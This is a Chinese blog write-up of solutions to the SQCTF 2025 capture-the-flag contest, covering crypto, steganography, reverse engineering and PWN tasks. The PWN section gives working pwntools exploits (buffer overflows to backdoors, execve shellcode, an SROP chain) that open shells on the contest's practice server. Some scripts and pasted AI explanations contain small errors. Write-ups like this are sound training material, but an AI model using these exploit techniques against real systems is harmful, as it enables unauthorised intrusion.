TypechoJoeTheme

霍雅的博客

登录
用户名
密码
/
注册
用户名
邮箱

SQCTF商丘师范学院第四届网络安全及信息对抗大赛(公开赛道) huoya wp

2025-04-14
/
0 评论
/
326 阅读
/
正在检测是否收录...
04/14


19/609这次比赛整体偏易,抢了一个一血和几个二血三血,还有几个第四没抢到血
没有大佬来炸鱼 逆向和密码是全部ak了
最高的时候排第四

Crypto

Base?

逆表

春风得意马蹄疾

社会主义核心价值观编码套娃

list_const = ['富强', '民主', '文明', '和谐', '自由', '平等', '公正', '法治',
              '爱国', '敬业', '诚信', '友善']

with open('1.txt', 'r', encoding='utf-8') as f:
    str1 = f.read().strip()

while True:
    # 解析为索引值
    list1 = [list_const.index(str1[i << 1] + str1[i << 1 | 1]) for i in range(len(str1) // 2)]

    # 解码过程
    a = 0
    list2 = []
    while a < len(list1):
        if list1[a] < 10:
            list2.append(str(list1[a]))
        elif list1[a] == 10:
            a += 1
            list2.append(hex(list1[a] + 10)[2:])
        else:
            a += 1
            list2.append(hex(list1[a] + 6)[2:])
        a += 1

    str1 = bytes.fromhex(''.join(list2)).decode('utf-8')
    print('解码结果:', str1, '\n')

    if 'SQCTF' in str1:
        print('已找到目标内容:', str1)
        break

别阴阳我了行吗

阴阳怪气编码

失落矿洞中的密码

暴力求解 secretKey

# 椭圆曲线参数
p = 7654319
a = 1234577
b = 3213242

G = (5234568, 2287747)
P_pub = (2366653, 1424308)
crypted_data = [(5081741, 6744615), (610619, 6218)]

# 模逆函数
def inverse_mod(k, p):
    return pow(k, -1, p)

# 椭圆曲线上的点加法
def point_add(P, Q):
    if P is None: return Q
    if Q is None: return P

    x1, y1 = P
    x2, y2 = Q

    if P == Q:
        m = (3 * x1 * x1 + a) * inverse_mod(2 * y1, p) % p
    elif x1 == x2 and (y1 + y2) % p == 0:
        return None
    else:
        m = (y2 - y1) * inverse_mod(x2 - x1, p) % p

    x3 = (m * m - x1 - x2) % p
    y3 = (m * (x1 - x3) - y1) % p
    return (x3, y3)

# 倍点函数
def scalar_mult(k, P):
    R = None
    while k:
        if k & 1:
            R = point_add(R, P)
        P = point_add(P, P)
        k >>= 1
    return R

# 找 secretKey
def find_secret_key():
    for d in range(1, 9000000):
        if d % 10000 == 0:
            print(f"[*] Trying d = {d}")
        if scalar_mult(d, G) == P_pub:
            return d
    return None

# 解密流程
def decrypt(secret_key, crypted_data):
    c1, c2 = crypted_data
    S = scalar_mult(secret_key, c1)
    S_inv = (S[0], (-S[1]) % p)
    M = point_add(c2, S_inv)
    return M

if __name__ == "__main__":
    print("[*] Looking for secretKey ...")
    secret_key = find_secret_key()

    if secret_key is None:
        print("❌ Secret key not found in range.")
        exit(1)

    print(f"[+] Found secretKey = {secret_key}")
    M = decrypt(secret_key, crypted_data)
    print(f"[+] Decrypted point M = {M}")
    print(f"[+] x + y = {(M[0] + M[1]) % p}")

Ezrsa

费马分解

Rsa一把梭

EZCRT

中国剩余定理

from gmpy2 import *
from Crypto.Util.number import *
from functools import reduce

# 将5进制数转换为10进制数  int('',5)
N1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
N2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
N3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093
c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614
N = [N1,N2,N3]
c = [c1,c2,c3]

# 中国剩余定理算法
def chinese_remainder(modulus, remainders):
    Sum = 0
    prod = reduce(lambda a, b: a*b, modulus)
    for m_i, r_i in zip(modulus, remainders):
        p = prod // m_i
        Sum += r_i * (inverse(p,m_i)*p)
    return Sum % prod
e = 3

# print(chinese_remainder(N,c))
pow_m_e = chinese_remainder(N,c)

# pow_m_e = 17446992834638639179129969961058029457462398677361658450137832328330435503838651797276948890990069700515669656391607670623897280684064423087023742140145529356863469816868212911716782075239982647322703714504545802436551322108638975695013439206776300941300053940942685511792851350404139366581130688518772175108412341696958930756520037
m = iroot(pow_m_e,e)[0]

print(long_to_bytes(m))

小白兔白又白

题目提示base,尝试base家族
第一层只有base91有可读数据

第二层base64以此类推,一个个尝试依次为base91-base64-base62解码成ascii-base16
得到一个U2FsdGVkX1+cEAtCb8l5oIiX+J9CwG3SpvdB38nPFkjnJ1HmRvbYQubVZDL3
百度查询得到Rabbit加密

根据提示题目小白兔喜欢刷哔哩哔哩,大家发弹幕的哈哈大笑,怎么和我发不一样呢,猜测可能是2333,但是不对,减少一位233正确

密室逃脱的终极挑战

Exe文件,用ida打开就是flag

玩的挺变态啊清茶哥

随波逐流有224码图一个个对
手抄SQCTF{jijibaotonghualizuoyingxiong}

丢三落四的小I

已知dp e c n
板子题


import libnum
import gmpy2

n= 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029
e= 65537
dp= 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113
c= 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173

for i in range(1,65535):
    p=(dp*e-1)//i+1
    if n%p==0:
        q=n//p
        break
phi_n= (p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
flag=libnum.n2s(int(m)).decode()
print(flag)

EzSCA

Ai一把梭

  1. 理解文件作用:
    o template_trace_0.npy和template_trace_1.npy:分别代表处理比特0和比特1时的标准能量消耗模板
    o energy_traces_with_flag.npy:实际加密flag时的能量消耗轨迹
    o PNG文件是轨迹的可视化,可以帮助理解数据
  2. 核心方法:
    o 将能量轨迹与两个模板进行相似度比较
    o 判断每个时间点的能量消耗更接近0模板还是1模板
    o 将结果转换为比特流,再转为ASCII字符
import numpy as np
import matplotlib.pyplot as plt

def bits_to_text(bits):
    chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
    text = ''.join([chr(int(char, 2)) for char in chars])
    return text

# 加载数据
template_0 = np.load('template_trace_0.npy')
template_1 = np.load('template_trace_1.npy')
traces = np.load('energy_traces_with_flag.npy')

# 可视化检查
plt.figure(figsize=(12,6))
plt.plot(template_0, label='Template 0')
plt.plot(template_1, label='Template 1')
plt.legend()
plt.show()

# 找出两个模板差异最大的区域
diff = np.abs(template_0 - template_1)
critical_point = np.argmax(diff)

# 提取关键点的值进行比较
bits = []
for trace in traces:
    val = trace[critical_point]
    threshold = (template_0[critical_point] + template_1[critical_point])/2
    bits.append('0' if val < threshold else '1')

bit_string = ''.join(bits)
flag = bits_to_text(bit_string)
print("Flag:", flag)

你的天赋是什么

随波逐流

Common Modulus

共模攻击

import gmpy2
import libnum

n1= 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
e1= 4217054819
c1= 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
n2= 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
e2= 2800068527
c2= 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346

#共模攻击
#共模攻击函数
s, s1, s2 = gmpy2.gcdext(e1, e2)
print(s,s1,s2)
m = (pow(c1, s1, n1) * pow(c2, s2, n1)) % n1
print(libnum.n2s(int(m)))

《1789年的密文》

Ai分析是什么托马斯密码

网上找了个脚本

import re

text = ""
code = [  # 密码本
    "QWXZRJYVKSLPDTMACFNOGIEBHU",
    "BXZPMTQOIRVHKLSAFUDGJYCEWN",
    "LKJHGFDSAQZWXECRVBYTNUIMOP",
    "POIUYTREWQASDFGHJKLMNBVCXZ",
    "ZXCVBNMASDFGHJKLPOIUYTREWQ",
    "MNHBGVCFXDRZESWAQPLOKMIJUY",
    "YUJIKMOLPQAWSZEXRDCFVGBHNM",
    "EDCRFVTGBYHNUJMIKOLPQAZWSX",
    "RFVGYBHNUJMIKOLPQAZWSXEDCT",
    "TGBYHNUJMIKOLPQAZWSXEDCRFV",
    "WSXEDCRFVTGBYHNUJMIKOLPQAZ",
    "AZQWSXEDCRFVTGBYHNUJMIKOLP",
    "VFRCDXESZWAQPLOKMIJNUHGBTG",
    "IKOLPQAZWSXEDCRFVTGBYHNUJM",
]
print(code)
codetext = "UNEHJPBIUOMAVZ"  # 密文
codenum = "4, 2 ,11, 8, 9, 12, 3, 6, 10, 14, 1, 5, 7, 13"  # 密钥
codenum = codenum.split(",")  # 把这些数字都放到一个列表里面去,以逗号隔开
# print(codenum)
a = 0
print("最终解码本:")
for i in codenum:
    index = code[int(i) - 1].index(codetext[a])
    # code[int(i)-1]代表取出密钥对应的密码表中的字符串(对应重新排列),以解码本第一行为例,即取出密码本中的第12行字符串BRUHGUFGTJNUBAFDEGTEF
    # index(codetext[a])取出当前对应密文在取出的字符串中的下标(即先找到循环的下标),以解码本第一行为例,即密文中第一个字符A在上面一行取出的字符串中的下标,即13,从0开始

    a = a + 1  # 密文下标加一
    code[int(i) - 1] = code[int(i) - 1][index:] + code[int(i) - 1][:index]  # 拼接得到最终的一行解码
    # code[int(i)-1][index:]是取出从密文对应的字符开始到最后的字符串,以解码本第一行为例,即取出AFDEGTEF
    # code[int(i)-1][:index]是取出从头到密文对应的字符的字符串,不包括密文对应的字符,以解码本第一行为例,即取出BRUHGUFGTJNUB
    print(code[int(i) - 1])  # 此时输出的字符串是按解码本的顺序从第一行开始,但在code中存储的顺序是对应密钥内容的顺序

# 完成了变形了

print("输出解码本每一列")
for i in range(len(code[0])):  # len(code[0])即一行的长度
    str = ""
    print("第{}列的是:".format(i), end="")
    for j in codenum:
        str += code[int(j) - 1][i]  # 因为变形后的解码本中的字符串是存储在密码本中,因此要按照密钥内容的顺序进行取出
    print(str.lower())

解出来很多值

一个个交flag试最后是SQCTF{maketysecgreat}

PWN

浅红欺醉粉,肯信有江梅

Nc连上就是flag

领取你的小猫娘


Gets存在栈溢出v5等于1然后会触发后门函数
Exp:

from pwn import *
 
p = remote('challenge.qsnctf.com',30040)

padding = b"A" * 76
v5 = b"\x01\x00\x00\x00"  # v5 = 1 (Little Endian)
return_address = b"\x1b\x21\x40\x00\x00\x00\x00\x00"  # backdoor() 地址:0x40121B

# 合成 payload
payload = padding + v5 + return_address 
 
p.sendline(payload) # 向程序发送字符串
p.interactive() # 代码交互转为手工交互

我觉君非池中物,咫尺蛟龙云雨

漏洞分析
直接执行用户输入:程序将用户输入直接存储在buff中,然后通过((void (*)(void))buff)();直接执行用户输入的内容。这给了我们执行任意代码的机会。
mprotect调用:程序调用了mprotect将包含stdout的内存页(0x4000-0x5000)设置为可读可写可执行(RWX),这包括了我们能控制的buff变量所在的.bss段。
没有栈溢出:虽然使用了read,但目标缓冲区是全局变量buff,不是栈上的s数组。
利用思路
直接写入shellcode:由于我们可以控制buff的内容,并且这部分内存是可执行的,我们可以直接写入shellcode。
通过dbg调试stdout地址

利用步骤
构造一个简单的shellcode,例如调用execve("/bin/sh", 0, 0)
将这个shellcode作为输入发送给程序

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# 连接远程服务
p = remote('challenge.qsnctf.com', 30799)

# 精简的execve("/bin/sh") shellcode (23字节)
shellcode = asm('''
    /* execve("/bin/sh", 0, 0) */
    xor rsi, rsi        /* rsi = 0 */
    push rsi            /* push NULL */
    mov rdi, 0x68732f6e69622f2f  /* "//bin/sh" */
    push rdi            /* push "/bin/sh" */
    mov rdi, rsp        /* rdi = ptr to "/bin/sh" */
    xor rdx, rdx        /* rdx = 0 */
    mov al, 59          /* rax = syscall number for execve */
    syscall
''')

# 验证shellcode长度
assert len(shellcode) <= 32, f"Shellcode too long: {len(shellcode)} bytes"

# 发送payload
p.send(shellcode)

# 获取交互式shell
p.interactive()

当时只道是寻常

利用SROP调用execve("/bin/sh",0,0)
通过syscall触发rt_sigreturn
伪造SigreturnFrame设置寄存器
步骤
在可写段(如.bss)写入/bin/sh
构造poprax;ret设置rax=0xf(__NR_rt_sigreturn)
调用syscall触发SROP

from pwn import *

# 设置环境
env = {
    'arch': 'amd64',
    'os': 'linux',
    'log_level': 'debug'
}
context.update(**env)
context.terminal = ['gnome-terminal', '--', 'bash', '-c']

# 目标程序
target = './pwn01'
remote_server = 'challenge.qsnctf.com'
remote_port = 32712
a =1;
def exploit():
    # 连接方式选择
    if  a ==1:
        io = remote(remote_server, remote_port)
    else:
        io = process(target)
    
    # 关键gadget地址
    gadgets = {
        'pop_rax': 0x40104a,
        'syscall_ret': 0x401045
    }
    
    # 字符串地址
    binsh_addr = 0x40203a
    
    # 构造payload
    buf = b'A' * 8  # 填充缓冲区
    
    # 设置rax=0xf (sigreturn系统调用号)
    buf += p64(gadgets['pop_rax'])
    buf += p64(0xf)
    buf += p64(gadgets['syscall_ret'])
    
    # 伪造sigreturn frame
    frame = SigreturnFrame()
    frame.rax = constants.SYS_execve
    frame.rdi = binsh_addr    # "/bin/sh"字符串地址
    frame.rsi = 0             # argv=NULL
    frame.rdx = 0             # envp=NULL
    frame.rip = gadgets['syscall_ret']
    
    buf += bytes(frame)
    
    # 发送payload
    io.send(buf)
    
    # 如果本地调试,可以附加gdb
    if args.DEBUG:
        gdb.attach(io, '''
        break *0x401045
        continue
        ''')
    
    # 交互模式
    io.interactive()

if __name__ == '__main__':
    exploit()

江南无所有,聊赠一枝春

Checksec一下发现没什么保护

有gift get存在溢出,直接构造payload到gift地址
发现打进去程序崩溃,让ai分析一下可能是堆栈平衡的问题
加一个ret地址构造payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('challenge.qsnctf.com', 31711)
padding = b"A" * 72
ret_gadget = 0x40101a    
gift_addr = 0x4011B6    
payload = padding + p64(ret_gadget) + p64(gift_addr)
p.sendline(payload)
p.interactive()  # 获得 shell 或输出 flag

赌书消得泼茶香


简单分析一下memcpy有溢出,scanf可以输入大于dest的值,
Sub_401320经过base64编码
让ai写一下payload

from pwn import *
import base64

context(arch='amd64', os='linux', log_level='debug')

# 替换为实际的 ret 地址和后门地址(需确认与远程二进制一致)
ret_addr = 0x40101a        # 本地找到的 ret 地址,假设远程相同
backdoor_addr = 0x40141D   # 后门函数地址

# 构造payload: 104字节填充 + ret*2 + 后门地址
payload = b'A' * 104
payload += p64(ret_addr) * 2  # 双重 ret 确保栈对齐
payload += p64(backdoor_addr)

# Base64编码
encoded_payload = base64.b64encode(payload).decode()

# 连接远程服务器
p = remote('challenge.qsnctf.com', 30365)

# 发送Payload
p.sendlineafter(b'How are you feeling right now?\n', encoded_payload.encode())

# 进入交互模式获取shell
p.interactive()

MISC

ez_music1

love.host

隐写了一个压缩包

直接foremost提取

王者荣耀真是太好玩了


查看图片没有可疑信息

尝试在农中查找以上的人,题目说要找出图中牢玩家
找第一个有个可以社工的地方,题目又提示百度地图

百度地图

url解码一下就是flag

宝宝你是一只白色大猫猫

一个一个工具试

使用SilentEye工具

提取出来是个二维码

随波逐流一把梭

在线扫描工具

阿尼亚

题目提示STEGANOGRAPHY_IMAGE猜测可能是Image Steganography
在线网站https://www.a.tools/Tool.php?Id=100

Piet

题目提示pite,搜索得到一个网站
https://www.bertnase.de/npiet/npiet-execute.php

解得Hello world!

FFT IFFT

把脚本给ai
要逆向还原这段代码处理后的视频,我们需要逆傅里叶变换(IFFT),并结合保存的幅度谱(magnitude)和相位谱(phase)信息。以下是完整的逆向还原步骤:
__
关键点分析

  1. 原始代码的输出:
    o m/ 目录:存储每帧的幅度谱(log-scale)
    o p/ 目录:存储每帧的相位谱
    o r 文件:存储每帧幅度谱的 min/max(用于反归一化)
  2. 逆向还原的核心步骤:
    o 从 m/ 和 p/ 读取 幅度谱 和 相位谱
    o 对 m/ 的幅度谱进行 指数运算(因为原始代码用了 log)
    o 使用 r 文件中的 min/max 反归一化幅度谱
    o 结合 幅度谱 和 相位谱 进行 逆FFT(IFFT)
    o 将 IFFT 结果保存为帧,并合成视频
import os
import cv2
import struct
import numpy as np

def inverse_mapping(data, min_val, max_val):
    """反归一化:将[0,255]映射回原始范围"""
    interval = max_val - min_val
    original_data = data * interval / 255.0 + min_val
    return original_data

def ifft(magnitude, phase):
    """从幅度谱和相位谱重建图像"""
    # 计算复数频谱
    real = magnitude * np.cos(phase)
    imag = magnitude * np.sin(phase)
    complex_spectrum = real + 1j * imag

    # 逆FFT
    fft_ishift = np.fft.ifftshift(complex_spectrum)
    img_reconstructed = np.fft.ifft2(fft_ishift)
    img_reconstructed = np.abs(img_reconstructed)  # 取实部(去除浮点误差)

    # 归一化到 [0, 255] 并转为 uint8
    img_reconstructed = np.clip(img_reconstructed, 0, 255).astype(np.uint8)
    return img_reconstructed

def main():
    # 读取 r 文件中的 min/max
    with open('r', 'rb') as f:
        min_max_data = f.read()
        num_frames = len(min_max_data) // 8  # 每个 min/max 占 8 字节(2个 float)
        min_max_values = struct.unpack(f'!{num_frames * 2}f', min_max_data)

    # 创建输出目录
    os.makedirs('reconstructed_frames', exist_ok=True)

    # 遍历 m/ 和 p/ 目录
    m_files = sorted(os.listdir('m'))
    p_files = sorted(os.listdir('p'))
    frame_count = min(len(m_files), len(p_files))

    for i in range(frame_count):
        # 读取幅度谱和相位谱
        m_img = cv2.imread(f'm/{m_files[i]}', cv2.IMREAD_GRAYSCALE).astype(np.float32)
        p_img = cv2.imread(f'p/{p_files[i]}', cv2.IMREAD_GRAYSCALE).astype(np.float32)

        # 反归一化相位谱(原始相位在 [-π, π] 之间)
        phase = (p_img / 255.0) * (2 * np.pi) - np.pi

        # 反归一化幅度谱(从 log 还原)
        min_val, max_val = min_max_values[i*2], min_max_values[i*2 + 1]
        magnitude = inverse_mapping(m_img, min_val, max_val)
        magnitude = np.exp(magnitude)  # 因为原代码用了 log

        # 逆FFT重建图像
        reconstructed_img = ifft(magnitude, phase)

        # 保存重建的帧
        cv2.imwrite(f'reconstructed_frames/{i:03d}.png', reconstructed_img)

    # 合成视频
    os.system('ffmpeg -i reconstructed_frames/%03d.png -r 25 -vcodec libx264 -crf 18 reconstructed_video.mp4')

if __name__ == '__main__':
    main()

解出148张图片,拼起来是HELLO flag为SQCTF{HELLO}

字母的轮舞与维吉尼亚的交响曲

下载一个txt一个压缩包

百度翻译一下,没什么内容

题目提示维吉尼亚加密,维吉尼亚需要key,尝试从压缩包入手
爆破压缩包得到密码123456

得到secret=flag
我一开始不知道secret是什么意思,还以为这个是没用字符,用123456做秘钥试了好久
等到秘钥等于flag
维吉尼亚解密

把这个可疑字符丢到随波逐流一把梭

老君山的落日好美


爆破得到密码,解压得到一个jpg图片
没啥提示一个一个工具试
试出来盲水印有内容

YuanShen_Start!

有个压缩包和一个aup3
Aup3直接用audacity有内容

交了是个假的flag SQCTF{yuan_shen_1s_a_good_game!}
把他作为压缩包的密码,可以解压出一个word文档
搜索ctf可以看到有字符,但是不显示
把鼠标放上去发现有个图片
移开发现没反应,直接ctrl+a改颜色

得到一个flag交上去还是假的

然后用随波逐流foremost提取得到一个压缩包

尝试用这个去解压这个压缩包,用密码爆破等都没用,被误导了好久
把word的每个文件都丢到随波逐流里一一查看

发现有个png文件后面有字符串

Base58有结果

继续嗦

又是假flag SQCTF{6bb238u7r-6574-a7e6-0etg-7gsdycvdv27}
把这个丢到之前的zip的解压
解压出来又是一个压缩包 又需要密码

想起来之前还有个假的word文档里面的假flag没用上,试了一下是密码
SQCTF{27fhcwg2h-hv2rv7b-82RFHCbbvw-289fv2}

小巷人家

百度识图直接找到

这是什么加密

base2048

reveser

慕然回首,那人却在灯火阑珊处


查看迷宫问题
把迷宫导出来

查看代码x <= 8 && maze[10 * x + 10 + y]可得迷宫的尺寸是 9行 和 10列
用python打印出来

maze_str = (
    "S**#########*########**#########**#########*###**##***###**##*#####**##*#####*E##*******############"
)

# 每行的字符数
characters_per_row = 10

# 打印迷宫
for i in range(0, len(maze_str), characters_per_row):
    print(maze_str[i:i+characters_per_row])

迷宫如下,不算复杂,手对照解

S**#######
##*#######
#**#######
##**######
###*###**#
#***###**#
#*#####**#
#*#####*E#
#*******##

ezRe

pyinstxtractor.py 33.exe

在线网站反编译pyc
https://tool.lu/pyc/

Base64解密5ed2be45-2e83-48d2-b631-c088e51ee964

鹅鹅鹅,曲项向天歌

pyinstxtractor.py eee.exe

简单逆向

def decrypt_flag():
    ciphertext = 'itd~tzw_know_sanmenxbZ8'
    part2_1_enc = ciphertext[:7]
    part2_2_enc = ciphertext[7:20]
    part2_3_enc = ciphertext[20:]
    part2_1 = ''.join([chr(ord(c) - 5) for c in part2_1_enc])
    part2_2 = part2_2_enc
    part2_3 = ''.join([chr(ord(c) + 7) for c in part2_3_enc])
    part2 = part2_1 + part2_2 + part2_3
    flag = 'SQCTF{' + part2 + '}'
    return flag

decrypted_flag = decrypt_flag()
print("解密后的flag是:", decrypted_flag)
# SQCTF{do_your_know_sanmenxia?}

圣人当仁不让


分析代码先经过vm_execute加密再经过base64加密

import base64

def reverse_vm_execute(data):
    decrypted_data = bytearray(data)
    for i in range(min(len(decrypted_data), 17)):
        decrypted_data[i] = (decrypted_data[i] + 2) % 256
        decrypted_data[i] = (decrypted_data[i] - 5) % 256
        decrypted_data[i] = decrypted_data[I] ^ 0xAA
    return bytes(decrypted_data)

encoded_str = "/P7sAe/U0s7c1vjb0vjfyt=="
decoded_data = base64.b64decode(encoded_str)
final_data = reverse_vm_execute(decoded_data)
print("Decrypted Data:", final_data.decode('utf-8', 'ignore'))

往事暗沉不可追

Ai一把梭
分析 VM 代码
题目提供了一个简单的虚拟机(SimpleVM),它支持三条指令:
• LOAD reg, addr:将内存地址 addr 的值加载到寄存器 reg
• XOR reg, value:将寄存器 reg 的值与 value 异或
• STORE reg, addr:将寄存器 reg 的值写回内存地址 addr
程序执行的 bytecode 为:
vbnet
复制编辑
LOAD 0, 16
XOR 0, 85
STORE 0, 32
LOAD 1, 32
XOR 1, 170
STORE 1, 48
并且题目将一个 16 字节的数组
ini
复制编辑
encrypted_data = [127, 131, 125, 123, 135, 127, 133, 123, 125, 131, 127, 135, 131, 123, 135, 125]
加载到了内存地址 16 开始的位置。
分步模拟指令
注意:题目的代码中 execute 函数并没有用循环处理所有指令,而只执行了一组指令(实际上只处理了第一条数据)。但根据题目的描述,“解密后的数据就是 flag”,很可能是要求对整个 encrypted_data 数组逐字节解密。
先看虚拟机如何处理一次“解密过程”:

  1. LOAD 0, 16
    寄存器 0 得到 memory[16],即加密数据的第 1 个字节:127
  2. XOR 0, 85
    对 127 异或 85,计算:
    复制编辑
  3. ^ 85 = 42
    此时寄存器 0 变为 42
  4. STORE 0, 32
    将 42 存入内存地址 32
  5. LOAD 1, 32
    将内存地址 32 的值加载到寄存器 1,即 42
  6. XOR 1, 170
    对 42 异或 170,计算:
    复制编辑
  7. ^ 170 = 128
    此时寄存器 1 变为 128
  8. STORE 1, 48
    将 128 存入内存地址 48
    观察这两次 XOR 操作:
    • 第一次 XOR 用的是 85
    • 第二次 XOR 用的是 170
    实际上,对于任意一个字节 x,有
      (x ^ 85) ^ 170 = x ^ (85 ^ 170)
    而 85 ^ 170 = 255
    因此整体操作相当于:
      decrypted = encrypted ^ 255
    注意到 8 位数与 255 异或,相当于按位取反(即 ~x,对于 8 位数据,~x = 255 - x)。
    应用于整个 encrypted_data
    题目中有 16 个字节,加密数据为:
    复制编辑
    127, 131, 125, 123, 135, 127, 133, 123, 125, 131, 127, 135, 131, 123, 135, 125
    对每个字节 x 进行操作 x ^ 255 得到:
    加密字节 x 计算 结果
  9. 255 - 127 = 128 128
  10. 255 - 131 = 124 124
  11. 255 - 125 = 130 130
  12. 255 - 123 = 132 132
  13. 255 - 135 = 120 120
  14. 255 - 127 = 128 128
  15. 255 - 133 = 122 122
  16. 255 - 123 = 132 132
  17. 255 - 125 = 130 130
  18. 255 - 131 = 124 124
  19. 255 - 127 = 128 128
  20. 255 - 135 = 120 120
  21. 255 - 131 = 124 124
  22. 255 - 123 = 132 132
  23. 255 - 135 = 120 120
  24. 255 - 125 = 130 130
    于是解密后的数据为:
    复制编辑
    128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130
    题目说明“解密后的数据就是 flag,用逗号隔开”,并且要求 flag 的格式为 SQCTF{...}。
    得出 flag
    综合上述步骤,最终 flag 就是将解密后的数字直接用逗号分隔后放在 SQCTF{} 内:
    复制编辑
    SQCTF{128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130}
    这就是本题的 flag。
    __
    注意
  25. 虽然题目提供的虚拟机代码中只处理了一次操作,但根据描述,整个加密数据需要逐字节还原。
  26. 由于 XOR 的结合律,先 XOR 85 后 XOR 170 相当于直接 XOR 255,即对每个字节取反。
    你可以用 Python 快速验证:
    python
    复制编辑
    encrypted_data = [127, 131, 125, 123, 135, 127, 133, 123, 125, 131, 127, 135, 131, 123, 135, 125]
    decrypted = [x ^ 255 for x in encrypted_data]
    print(decrypted)
    输出: [128, 124, 130, 132, 120, 128, 122, 132, 130, 124, 128, 120, 124, 132, 120, 130]
    最终提交 flag 为:
    SQCTF{128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130}

春风也有春风愁

Ida分析
v7 = (v8 ^ 0xA5) + 55然后和v6去比较
v6=70FBF715FA08FD0B0D0F0E011431130DFB
但是解出来的值不对

回去尝试用前半段去解

发现解出来是逆逆序,sqctf{ea
后一段逆序解出来的是asy_xor}
猜测可能是sqctf{easy_xor}

v6_hex = "70FBF715FA08FD0B0D"
v7_hex = "0F0E011431130DFB"
v6_bytes = bytes.fromhex(v6_hex)
v7_hex = bytes.fromhex(v7_hex)

flag = ""
flag1 = ""
for b in v6_bytes:
    decrypted = ((b - 55) % 256) ^ 0xA5
    flag += chr(decrypted)
flag=flag[::-1]

for b in v7_hex:
    decrypted = ((b - 55) % 256) ^ 0xA5
    flag1 += chr(decrypted)

flag1=flag1[::-1]
print("Recovered flag:", flag,flag1)


回想了一下应该是端序问题,当时64位一看没想过这个问题

遇事不决,可问春风


有个亦或函数result.append((char) (c ^ 'B'));
拼接了一个字符串
"SQCTF{i_am_a_" + password + FLAG_SUFFIX;
Key给了=66

encrypted_parts = ["5", "#", ")", "7", "5", "#", ")", "7"]
encrypted = ''.join(encrypted_parts)
xor_key = 66
decrypted = ''.join([chr(ord(c) ^ xor_key) for c in encrypted])
flag = f"SQCTF{{i_am_a_{decrypted}}}"
print("Flag 是:", flag)

你若安好便是晴

题目提示喝杯
用findcrypt识别一下

分析一下代码,先经过tea再经过sub_100

查看tea发现有挺多魔改
魔改了魔数和加密过程还有加密符号

再查看sub_100是一个亦或算法

回去查看main函数,发现没有比较,下个断点flag就出来了

人生自古谁无死

分析一下代码,程序没有输入判断,猜测程序可能存在自解密
但是有反调试

看了一下加密逻辑主要在handle_strings
Puts是个输出函数
在check之前下个断点

把rip栈针改到handle_strings()的位置

在ret的位置下个断点

运行一下,v13就是flag

